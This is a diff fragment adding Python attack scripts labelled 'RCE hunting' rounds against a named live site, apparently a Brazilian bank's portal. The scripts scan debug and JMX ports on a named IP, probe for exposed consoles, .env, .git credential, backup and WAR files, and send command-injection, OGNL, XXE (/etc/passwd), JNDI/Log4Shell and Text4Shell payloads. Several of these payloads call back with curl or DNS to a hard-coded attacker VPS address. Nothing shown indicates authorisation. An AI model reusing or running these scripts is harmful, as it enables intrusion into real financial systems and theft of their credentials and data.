# 5. Check for Confluence/Atlassian RCE
|
|
102
|
+
print("\n[5] ATLASSIAN RCE")
|
|
103
|
+
print("-"*50)
|
|
104
|
+
|
|
105
|
+
atlassian_paths = [
|
|
106
|
+
"/confluence/",
|
|
107
|
+
"/jira/",
|
|
108
|
+
"/wiki/",
|
|
109
|
+
"/rest/api/",
|
|
110
|
+
]
|
|
111
|
+
|
|
112
|
+
for path in atlassian_paths:
|
|
113
|
+
try:
|
|
114
|
+
r = requests.get(BASE + path, headers=H, verify=False, timeout=5)
|
|
115
|
+
if r.status_code not in [404, 403]:
|
|
116
|
+
print(f" {path}: {r.status_code}")
|
|
117
|
+
except:
|
|
118
|
+
pass
|
|
119
|
+
|
|
120
|
+
# 6. Check for expression language in cookies
|
|
121
|
+
print("\n[6] EL IN COOKIES")
|
|
122
|
+
print("-"*50)
|
|
123
|
+
|
|
124
|
+
el_cookies = {
|
|
125
|
+
"test": "${7*7}",
|
|
126
|
+
"JSESSIONID": "${7*7}",
|
|
127
|
+
"user": "#{7*7}",
|
|
128
|
+
}
|
|
129
|
+
|
|
130
|
+
try:
|
|
131
|
+
r = requests.get(BASE + "/regatendimentoext/faces/reindex.jsp",
|
|
132
|
+
cookies=el_cookies,
|
|
133
|
+
headers=H, verify=False, timeout=5)
|
|
134
|
+
if "49" in r.text:
|
|
135
|
+
print(" [!] EL in cookies might work")
|
|
136
|
+
except:
|
|
137
|
+
pass
|
|
138
|
+
|
|
139
|
+
# 7. Check for command injection in User-Agent
|
|
140
|
+
print("\n[7] COMMAND INJECTION IN HEADERS")
|
|
141
|
+
print("-"*50)
|
|
142
|
+
|
|
143
|
+
cmd_payloads = [
|
|
144
|
+
"; curl http://" + VPS + ":8888/cmd1",
|
|
145
|
+
"| curl http://" + VPS + ":8888/cmd2",
|
|
146
|
+
"`curl http://" + VPS + ":8888/cmd3`",
|
|
147
|
+
"$(curl http://" + VPS + ":8888/cmd4)",
|
|
148
|
+
]
|
|
149
|
+
|
|
150
|
+
for payload in cmd_payloads:
|
|
151
|
+
try:
|
|
152
|
+
requests.get(BASE + "/",
|
|
153
|
+
headers={**H, "User-Agent": "Mozilla/5.0 " + payload},
|
|
154
|
+
verify=False, timeout=3)
|
|
155
|
+
except:
|
|
156
|
+
pass
|
|
157
|
+
|
|
158
|
+
print(" Cmd injection payloads sent")
|
|
159
|
+
|
|
160
|
+
# 8. Check for OGNL injection
|
|
161
|
+
print("\n[8] OGNL INJECTION")
|
|
162
|
+
print("-"*50)
|
|
163
|
+
|
|
164
|
+
ognl_payloads = [
|
|
165
|
+
"%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start())}",
|
|
166
|
+
]
|
|
167
|
+
|
|
168
|
+
try:
|
|
169
|
+
r = requests.get(BASE + "/regatendimentoext/faces/reindex.jsp",
|
|
170
|
+
params={"test": ognl_payloads[0]},
|
|
171
|
+
headers=H, verify=False, timeout=5)
|
|
172
|
+
except:
|
|
173
|
+
pass
|
|
174
|
+
|
|
175
|
+
# 9. Check for file read via XXE
|
|
176
|
+
print("\n[9] XXE FILE READ")
|
|
177
|
+
print("-"*50)
|
|
178
|
+
|
|
179
|
+
xxe_read = '''<?xml version="1.0" encoding="UTF-8"?>
|
|
180
|
+
<!DOCTYPE foo [
|
|
181
|
+
<!ELEMENT foo ANY>
|
|
182
|
+
<!ENTITY xxe SYSTEM "file:///etc/passwd">
|
|
183
|
+
]>
|
|
184
|
+
<foo>&xxe;</foo>'''
|
|
185
|
+
|
|
186
|
+
try:
|
|
187
|
+
r = requests.post(BASE + "/regatendimentoext/faces/reindex.jsp",
|
|
188
|
+
data=xxe_read,
|
|
189
|
+
headers={**H, "Content-Type": "application/xml"},
|
|
190
|
+
verify=False, timeout=5)
|
|
191
|
+
if "root:" in r.text:
|
|
192
|
+
print(" [!] XXE file read works!")
|
|
193
|
+
except:
|
|
194
|
+
pass
|
|
195
|
+
|
|
196
|
+
# 10. OOB
|
|
197
|
+
print("\n[10] OOB")
|
|
198
|
+
print("-"*50)
|
|
199
|
+
|
|
200
|
+
ts = str(int(time.time()))
|
|
201
|
+
|
|
202
|
+
# DNS exfiltration attempt
|
|
203
|
+
try:
|
|
204
|
+
requests.get(BASE + "/",
|
|
205
|
+
headers={**H, "X-Custom": f"${{jndi:dns://{VPS}/r56_{ts}}}"},
|
|
206
|
+
verify=False, timeout=3)
|
|
207
|
+
except:
|
|
208
|
+
pass
|
|
209
|
+
|
|
210
|
+
print(" OOB sent")
|
|
211
|
+
|
|
212
|
+
print("\n" + "="*70)
|
package/round57_rce.py
ADDED
|
@@ -0,0 +1,218 @@
|
|
|
1
|
+
import requests
|
|
2
|
+
import urllib3
|
|
3
|
+
import time
|
|
4
|
+
urllib3.disable_warnings()
|
|
5
|
+
|
|
6
|
+
H = {"User-Agent": "Mozilla/5.0"}
|
|
7
|
+
VPS = "209.99.185.109"
|
|
8
|
+
|
|
9
|
+
print("="*70)
|
|
10
|
+
print(" ROUND 57 - ALTERNATIVE RCE PATHS")
|
|
11
|
+
print("="*70)
|
|
12
|
+
|
|
13
|
+
BASE = "https://central.autbank.com.br"
|
|
14
|
+
|
|
15
|
+
# 1. Check for Java Debug Wire Protocol
|
|
16
|
+
print("\n[1] JDWP CHECK (Java Debug)")
|
|
17
|
+
print("-"*50)
|
|
18
|
+
|
|
19
|
+
import socket
|
|
20
|
+
|
|
21
|
+
try:
|
|
22
|
+
# JDWP typically on port 5005 or 8000
|
|
23
|
+
for port in [5005, 8000, 8787, 9009]:
|
|
24
|
+
try:
|
|
25
|
+
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
26
|
+
sock.settimeout(2)
|
|
27
|
+
# Try on CF IP (would need Origin)
|
|
28
|
+
result = sock.connect_ex(("187.11.114.94", port))
|
|
29
|
+
if result == 0:
|
|
30
|
+
print(f" [!] JDWP port {port} OPEN!")
|
|
31
|
+
sock.close()
|
|
32
|
+
except:
|
|
33
|
+
pass
|
|
34
|
+
except:
|
|
35
|
+
pass
|
|
36
|
+
|
|
37
|
+
# 2. Check for JMX ports
|
|
38
|
+
print("\n[2] JMX PORTS")
|
|
39
|
+
print("-"*50)
|
|
40
|
+
|
|
41
|
+
jmx_ports = [1099, 9010, 9011, 9999, 1100]
|
|
42
|
+
|
|
43
|
+
for port in jmx_ports:
|
|
44
|
+
try:
|
|
45
|
+
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
46
|
+
sock.settimeout(2)
|
|
47
|
+
result = sock.connect_ex(("187.11.114.94", port))
|
|
48
|
+
if result == 0:
|
|
49
|
+
print(f" [!] JMX port {port} OPEN!")
|
|
50
|
+
sock.close()
|
|
51
|
+
except:
|
|
52
|
+
pass
|
|
53
|
+
|
|
54
|
+
# 3. Check for H2 Database Console
|
|
55
|
+
print("\n[3] H2 DATABASE CONSOLE")
|
|
56
|
+
print("-"*50)
|
|
57
|
+
|
|
58
|
+
h2_paths = [
|
|
59
|
+
"/h2-console/",
|
|
60
|
+
"/h2/",
|
|
61
|
+
"/console/",
|
|
62
|
+
"/h2-console/login.jsp",
|
|
63
|
+
]
|
|
64
|
+
|
|
65
|
+
for path in h2_paths:
|
|
66
|
+
try:
|
|
67
|
+
r = requests.get(BASE + path, headers=H, verify=False, timeout=5)
|
|
68
|
+
if "h2" in r.text.lower() or "database" in r.text.lower():
|
|
69
|
+
print(f" [!] H2 Console: {path}")
|
|
70
|
+
except:
|
|
71
|
+
pass
|
|
72
|
+
|
|
73
|
+
# 4. Check for Spring Boot endpoints
|
|
74
|
+
print("\n[4] SPRING BOOT ACTUATOR")
|
|
75
|
+
print("-"*50)
|
|
76
|
+
|
|
77
|
+
actuator_paths = [
|
|
78
|
+
"/actuator",
|
|
79
|
+
"/actuator/env",
|
|
80
|
+
"/actuator/health",
|
|
81
|
+
"/actuator/beans",
|
|
82
|
+
"/actuator/configprops",
|
|
83
|
+
"/actuator/heapdump",
|
|
84
|
+
"/actuator/threaddump",
|
|
85
|
+
"/actuator/logfile",
|
|
86
|
+
"/actuator/shutdown",
|
|
87
|
+
"/actuator/restart",
|
|
88
|
+
"/manage/",
|
|
89
|
+
"/management/",
|
|
90
|
+
]
|
|
91
|
+
|
|
92
|
+
for path in actuator_paths:
|
|
93
|
+
try:
|
|
94
|
+
r = requests.get(BASE + path, headers=H, verify=False, timeout=5)
|
|
95
|
+
if r.status_code == 200 and len(r.text) not in [2735, 2779, 3352]:
|
|
96
|
+
print(f" {path}: {len(r.text)} bytes")
|
|
97
|
+
except:
|
|
98
|
+
pass
|
|
99
|
+
|
|
100
|
+
# 5. Check for Druid Monitor
|
|
101
|
+
print("\n[5] DRUID MONITOR")
|
|
102
|
+
print("-"*50)
|
|
103
|
+
|
|
104
|
+
druid_paths = [
|
|
105
|
+
"/druid/",
|
|
106
|
+
"/druid/index.html",
|
|
107
|
+
"/druid/sql.html",
|
|
108
|
+
"/druid/weburi.html",
|
|
109
|
+
]
|
|
110
|
+
|
|
111
|
+
for path in druid_paths:
|
|
112
|
+
try:
|
|
113
|
+
r = requests.get(BASE + path, headers=H, verify=False, timeout=5)
|
|
114
|
+
if "druid" in r.text.lower():
|
|
115
|
+
print(f" [!] Druid: {path}")
|
|
116
|
+
except:
|
|
117
|
+
pass
|
|
118
|
+
|
|
119
|
+
# 6. Check for Swagger/OpenAPI
|
|
120
|
+
print("\n[6] SWAGGER/OPENAPI")
|
|
121
|
+
print("-"*50)
|
|
122
|
+
|
|
123
|
+
swagger_paths = [
|
|
124
|
+
"/swagger-ui.html",
|
|
125
|
+
"/swagger-ui/",
|
|
126
|
+
"/swagger-ui/index.html",
|
|
127
|
+
"/api-docs",
|
|
128
|
+
"/v2/api-docs",
|
|
129
|
+
"/v3/api-docs",
|
|
130
|
+
"/openapi.json",
|
|
131
|
+
"/openapi.yaml",
|
|
132
|
+
"/api/swagger.json",
|
|
133
|
+
]
|
|
134
|
+
|
|
135
|
+
for path in swagger_paths:
|
|
136
|
+
try:
|
|
137
|
+
r = requests.get(BASE + path, headers=H, verify=False, timeout=5)
|
|
138
|
+
if r.status_code == 200 and ("swagger" in r.text.lower() or "openapi" in r.text.lower()):
|
|
139
|
+
print(f" [!] Swagger: {path}")
|
|
140
|
+
except:
|
|
141
|
+
pass
|
|
142
|
+
|
|
143
|
+
# 7. Check for WebLogic vulnerabilities
|
|
144
|
+
print("\n[7] WEBLOGIC PATHS")
|
|
145
|
+
print("-"*50)
|
|
146
|
+
|
|
147
|
+
weblogic_paths = [
|
|
148
|
+
"/console/",
|
|
149
|
+
"/console/login/LoginForm.jsp",
|
|
150
|
+
"/wls-wsat/CoordinatorPortType",
|
|
151
|
+
"/wls-wsat/CoordinatorPortType11",
|
|
152
|
+
"/_async/AsyncResponseService",
|
|
153
|
+
]
|
|
154
|
+
|
|
155
|
+
for path in weblogic_paths:
|
|
156
|
+
try:
|
|
157
|
+
r = requests.get(BASE + path, headers=H, verify=False, timeout=5)
|
|
158
|
+
if r.status_code not in [404, 403]:
|
|
159
|
+
print(f" {path}: {r.status_code}")
|
|
160
|
+
except:
|
|
161
|
+
pass
|
|
162
|
+
|
|
163
|
+
# 8. Check for GraphQL
|
|
164
|
+
print("\n[8] GRAPHQL INTROSPECTION")
|
|
165
|
+
print("-"*50)
|
|
166
|
+
|
|
167
|
+
graphql_paths = ["/graphql", "/api/graphql", "/gql", "/query"]
|
|
168
|
+
|
|
169
|
+
introspection = '{"query": "{ __schema { types { name } } }"}'
|
|
170
|
+
|
|
171
|
+
for path in graphql_paths:
|
|
172
|
+
try:
|
|
173
|
+
r = requests.post(BASE + path,
|
|
174
|
+
data=introspection,
|
|
175
|
+
headers={**H, "Content-Type": "application/json"},
|
|
176
|
+
verify=False, timeout=5)
|
|
177
|
+
if "__schema" in r.text:
|
|
178
|
+
print(f" [!] GraphQL: {path}")
|
|
179
|
+
except:
|
|
180
|
+
pass
|
|
181
|
+
|
|
182
|
+
# 9. Try Server-Side Prototype Pollution
|
|
183
|
+
print("\n[9] PROTOTYPE POLLUTION")
|
|
184
|
+
print("-"*50)
|
|
185
|
+
|
|
186
|
+
pp_payload = '{"__proto__": {"isAdmin": true}}'
|
|
187
|
+
|
|
188
|
+
try:
|
|
189
|
+
r = requests.post(BASE + "/api/",
|
|
190
|
+
data=pp_payload,
|
|
191
|
+
headers={**H, "Content-Type": "application/json"},
|
|
192
|
+
verify=False, timeout=5)
|
|
193
|
+
except:
|
|
194
|
+
pass
|
|
195
|
+
|
|
196
|
+
# 10. OOB via DNS
|
|
197
|
+
print("\n[10] OOB")
|
|
198
|
+
print("-"*50)
|
|
199
|
+
|
|
200
|
+
ts = str(int(time.time()))
|
|
201
|
+
|
|
202
|
+
# Various DNS exfil attempts
|
|
203
|
+
dns_payloads = [
|
|
204
|
+
f"${{jndi:ldap://r57.{VPS}.nip.io/a}}",
|
|
205
|
+
f"${{hostName}}.r57.{VPS}.nip.io",
|
|
206
|
+
]
|
|
207
|
+
|
|
208
|
+
for payload in dns_payloads:
|
|
209
|
+
try:
|
|
210
|
+
requests.get(BASE + "/",
|
|
211
|
+
headers={**H, "X-Test": payload},
|
|
212
|
+
verify=False, timeout=2)
|
|
213
|
+
except:
|
|
214
|
+
pass
|
|
215
|
+
|
|
216
|
+
print(" OOB sent")
|
|
217
|
+
|
|
218
|
+
print("\n" + "="*70)
|
package/round58_rce.py
ADDED
|
@@ -0,0 +1,212 @@
|
|
|
1
|
+
import requests
|
|
2
|
+
import urllib3
|
|
3
|
+
import time
|
|
4
|
+
urllib3.disable_warnings()
|
|
5
|
+
|
|
6
|
+
H = {"User-Agent": "Mozilla/5.0"}
|
|
7
|
+
VPS = "209.99.185.109"
|
|
8
|
+
|
|
9
|
+
print("="*70)
|
|
10
|
+
print(" ROUND 58 - CONTINUED RCE HUNTING")
|
|
11
|
+
print("="*70)
|
|
12
|
+
|
|
13
|
+
BASE = "https://central.autbank.com.br"
|
|
14
|
+
|
|
15
|
+
# 1. Check for Apache Shiro vulnerabilities
|
|
16
|
+
print("\n[1] APACHE SHIRO CHECK")
|
|
17
|
+
print("-"*50)
|
|
18
|
+
|
|
19
|
+
# Shiro uses rememberMe cookie
|
|
20
|
+
shiro_payload = "rememberMe=1" # Will trigger Shiro if present
|
|
21
|
+
|
|
22
|
+
try:
|
|
23
|
+
r = requests.get(BASE + "/",
|
|
24
|
+
cookies={"rememberMe": "test"},
|
|
25
|
+
headers=H, verify=False, timeout=10)
|
|
26
|
+
|
|
27
|
+
if "rememberMe=deleteMe" in r.headers.get('Set-Cookie', ''):
|
|
28
|
+
print(" [!] Apache Shiro detected!")
|
|
29
|
+
else:
|
|
30
|
+
print(" No Shiro detected")
|
|
31
|
+
except:
|
|
32
|
+
pass
|
|
33
|
+
|
|
34
|
+
# 2. Check for Apache Commons Text (Text4Shell)
|
|
35
|
+
print("\n[2] TEXT4SHELL CHECK")
|
|
36
|
+
print("-"*50)
|
|
37
|
+
|
|
38
|
+
text4shell = [
|
|
39
|
+
"${script:javascript:java.lang.Runtime.getRuntime().exec('curl " + VPS + ":8888/t4s')}",
|
|
40
|
+
"${url:UTF-8:http://" + VPS + ":8888/t4s2}",
|
|
41
|
+
"${dns:address|" + VPS + "}",
|
|
42
|
+
]
|
|
43
|
+
|
|
44
|
+
for payload in text4shell:
|
|
45
|
+
try:
|
|
46
|
+
r = requests.get(BASE + "/",
|
|
47
|
+
params={"test": payload},
|
|
48
|
+
headers=H, verify=False, timeout=5)
|
|
49
|
+
except:
|
|
50
|
+
pass
|
|
51
|
+
|
|
52
|
+
print(" Text4Shell payloads sent")
|
|
53
|
+
|
|
54
|
+
# 3. Check for Java Melody
|
|
55
|
+
print("\n[3] JAVA MELODY")
|
|
56
|
+
print("-"*50)
|
|
57
|
+
|
|
58
|
+
melody_paths = [
|
|
59
|
+
"/monitoring",
|
|
60
|
+
"/javamelody",
|
|
61
|
+
"/admin/javamelody",
|
|
62
|
+
]
|
|
63
|
+
|
|
64
|
+
for path in melody_paths:
|
|
65
|
+
try:
|
|
66
|
+
r = requests.get(BASE + path, headers=H, verify=False, timeout=5)
|
|
67
|
+
if r.status_code == 200 and "javamelody" in r.text.lower():
|
|
68
|
+
print(f" [!] Java Melody: {path}")
|
|
69
|
+
except:
|
|
70
|
+
pass
|
|
71
|
+
|
|
72
|
+
# 4. Check for exposed heap dumps
|
|
73
|
+
print("\n[4] HEAP DUMP CHECK")
|
|
74
|
+
print("-"*50)
|
|
75
|
+
|
|
76
|
+
heap_paths = [
|
|
77
|
+
"/heapdump",
|
|
78
|
+
"/actuator/heapdump",
|
|
79
|
+
"/dump",
|
|
80
|
+
"/memory",
|
|
81
|
+
]
|
|
82
|
+
|
|
83
|
+
for path in heap_paths:
|
|
84
|
+
try:
|
|
85
|
+
r = requests.get(BASE + path, headers=H, verify=False, timeout=5)
|
|
86
|
+
if r.status_code == 200 and len(r.content) > 10000:
|
|
87
|
+
print(f" [!] Heap dump: {path} ({len(r.content)} bytes)")
|
|
88
|
+
except:
|
|
89
|
+
pass
|
|
90
|
+
|
|
91
|
+
# 5. Try CRLF injection for response splitting
|
|
92
|
+
print("\n[5] CRLF INJECTION")
|
|
93
|
+
print("-"*50)
|
|
94
|
+
|
|
95
|
+
crlf_payloads = [
|
|
96
|
+
"test%0d%0aSet-Cookie:%20malicious=true",
|
|
97
|
+
"test%0aSet-Cookie:%20malicious=true",
|
|
98
|
+
"test\r\nSet-Cookie: malicious=true",
|
|
99
|
+
]
|
|
100
|
+
|
|
101
|
+
for payload in crlf_payloads:
|
|
102
|
+
try:
|
|
103
|
+
r = requests.get(BASE + "/",
|
|
104
|
+
params={"redirect": payload},
|
|
105
|
+
headers=H, verify=False, timeout=5, allow_redirects=False)
|
|
106
|
+
|
|
107
|
+
if "malicious=true" in str(r.headers):
|
|
108
|
+
print(" [!] CRLF injection works!")
|
|
109
|
+
except:
|
|
110
|
+
pass
|
|
111
|
+
|
|
112
|
+
# 6. Check for exposed git credentials
|
|
113
|
+
print("\n[6] GIT CREDENTIALS")
|
|
114
|
+
print("-"*50)
|
|
115
|
+
|
|
116
|
+
git_paths = [
|
|
117
|
+
"/.git/config",
|
|
118
|
+
"/.git/credentials",
|
|
119
|
+
"/.gitconfig",
|
|
120
|
+
]
|
|
121
|
+
|
|
122
|
+
for path in git_paths:
|
|
123
|
+
try:
|
|
124
|
+
r = requests.get(BASE + path, headers=H, verify=False, timeout=5)
|
|
125
|
+
if r.status_code == 200 and ("[remote" in r.text or "credential" in r.text):
|
|
126
|
+
print(f" [!] Git file exposed: {path}")
|
|
127
|
+
except:
|
|
128
|
+
pass
|
|
129
|
+
|
|
130
|
+
# 7. Check for environment file exposure
|
|
131
|
+
print("\n[7] ENV FILE CHECK")
|
|
132
|
+
print("-"*50)
|
|
133
|
+
|
|
134
|
+
env_paths = [
|
|
135
|
+
"/.env",
|
|
136
|
+
"/.env.local",
|
|
137
|
+
"/.env.production",
|
|
138
|
+
"/env",
|
|
139
|
+
"/config/env",
|
|
140
|
+
"/application.properties",
|
|
141
|
+
"/application.yml",
|
|
142
|
+
]
|
|
143
|
+
|
|
144
|
+
for path in env_paths:
|
|
145
|
+
try:
|
|
146
|
+
r = requests.get(BASE + path, headers=H, verify=False, timeout=5)
|
|
147
|
+
if r.status_code == 200:
|
|
148
|
+
# Check for sensitive content
|
|
149
|
+
if any(x in r.text.lower() for x in ['password', 'secret', 'key', 'token', 'aws']):
|
|
150
|
+
print(f" [!] Sensitive env file: {path}")
|
|
151
|
+
except:
|
|
152
|
+
pass
|
|
153
|
+
|
|
154
|
+
# 8. Check for backup SQL files
|
|
155
|
+
print("\n[8] BACKUP FILES")
|
|
156
|
+
print("-"*50)
|
|
157
|
+
|
|
158
|
+
backup_paths = [
|
|
159
|
+
"/backup.sql",
|
|
160
|
+
"/dump.sql",
|
|
161
|
+
"/database.sql",
|
|
162
|
+
"/db.sql",
|
|
163
|
+
"/autbank.sql",
|
|
164
|
+
"/backup.tar.gz",
|
|
165
|
+
"/backup.zip",
|
|
166
|
+
]
|
|
167
|
+
|
|
168
|
+
for path in backup_paths:
|
|
169
|
+
try:
|
|
170
|
+
r = requests.get(BASE + path, headers=H, verify=False, timeout=5)
|
|
171
|
+
if r.status_code == 200 and len(r.content) > 1000:
|
|
172
|
+
print(f" [!] Backup file: {path} ({len(r.content)} bytes)")
|
|
173
|
+
except:
|
|
174
|
+
pass
|
|
175
|
+
|
|
176
|
+
# 9. Check for WAR/JAR file exposure
|
|
177
|
+
print("\n[9] WAR/JAR FILES")
|
|
178
|
+
print("-"*50)
|
|
179
|
+
|
|
180
|
+
war_paths = [
|
|
181
|
+
"/app.war",
|
|
182
|
+
"/ROOT.war",
|
|
183
|
+
"/autbank.war",
|
|
184
|
+
"/regatendimentoext.war",
|
|
185
|
+
]
|
|
186
|
+
|
|
187
|
+
for path in war_paths:
|
|
188
|
+
try:
|
|
189
|
+
r = requests.get(BASE + path, headers=H, verify=False, timeout=5, stream=True)
|
|
190
|
+
if r.status_code == 200:
|
|
191
|
+
content = r.raw.read(100)
|
|
192
|
+
if content[:2] == b'PK': # ZIP/WAR magic bytes
|
|
193
|
+
print(f" [!] WAR file exposed: {path}")
|
|
194
|
+
except:
|
|
195
|
+
pass
|
|
196
|
+
|
|
197
|
+
# 10. OOB
|
|
198
|
+
print("\n[10] OOB")
|
|
199
|
+
print("-"*50)
|
|
200
|
+
|
|
201
|
+
ts = str(int(time.time()))
|
|
202
|
+
|
|
203
|
+
try:
|
|
204
|
+
requests.get(BASE + "/",
|
|
205
|
+
headers={**H, "X-Original-URL": f"http://{VPS}:8888/r58_{ts}"},
|
|
206
|
+
verify=False, timeout=3)
|
|
207
|
+
except:
|
|
208
|
+
pass
|
|
209
|
+
|
|
210
|
+
print(" OOB sent")
|
|
211
|
+
|
|
212
|
+
print("\n" + "="*70)
|
|
@@ -0,0 +1,47 @@
|
|
|
1
|
+
import requests
|
|
2
|
+
import urllib3
|
|
3
|
+
urllib3.disable_warnings()
|
|
4
|
+
|
|
5
|
+
H = {"User-Agent": "Mozilla/5.0"}
|
|
6
|
+
BASE = "https://central.autbank.com.br"
|
|
7
|
+
|
|
8
|
+
print("="*70)
|
|
9
|
+
print(" VERIFYING H2 AND DRUID FINDINGS")
|
|
10
|
+
print("="*70)
|
|
11
|
+
|
|
12
|
+
# 1. Verify H2 Console
|
|
13
|
+
print("\n[1] H2 CONSOLE VERIFICATION")
|
|
14
|
+
print("-"*50)
|
|
15
|
+
|
|
16
|
+
h2_paths = ["/h2-console/", "/h2/", "/console/", "/h2-console/login.jsp"]
|
|
17
|
+
|
|
18
|
+
for path in h2_paths:
|
|
19
|
+
try:
|
|
20
|
+
r = requests.get(BASE + path, headers=H, verify=False, timeout=10)
|
|
21
|
+
print(f"\n {path}:")
|
|
22
|
+
print(f" Status: {r.status_code}")
|
|
23
|
+
print(f" Size: {len(r.text)} bytes")
|
|
24
|
+
print(f" Contains 'h2': {'h2' in r.text.lower()}")
|
|
25
|
+
print(f" Contains 'database': {'database' in r.text.lower()}")
|
|
26
|
+
print(f" First 200 chars: {r.text[:200]}")
|
|
27
|
+
except Exception as e:
|
|
28
|
+
print(f" {path}: Error - {e}")
|
|
29
|
+
|
|
30
|
+
# 2. Verify Druid
|
|
31
|
+
print("\n[2] DRUID VERIFICATION")
|
|
32
|
+
print("-"*50)
|
|
33
|
+
|
|
34
|
+
druid_paths = ["/druid/", "/druid/index.html", "/druid/sql.html"]
|
|
35
|
+
|
|
36
|
+
for path in druid_paths:
|
|
37
|
+
try:
|
|
38
|
+
r = requests.get(BASE + path, headers=H, verify=False, timeout=10)
|
|
39
|
+
print(f"\n {path}:")
|
|
40
|
+
print(f" Status: {r.status_code}")
|
|
41
|
+
print(f" Size: {len(r.text)} bytes")
|
|
42
|
+
print(f" Contains 'druid': {'druid' in r.text.lower()}")
|
|
43
|
+
print(f" First 200 chars: {r.text[:200]}")
|
|
44
|
+
except Exception as e:
|
|
45
|
+
print(f" {path}: Error - {e}")
|
|
46
|
+
|
|
47
|
+
print("\n" + "="*70)
|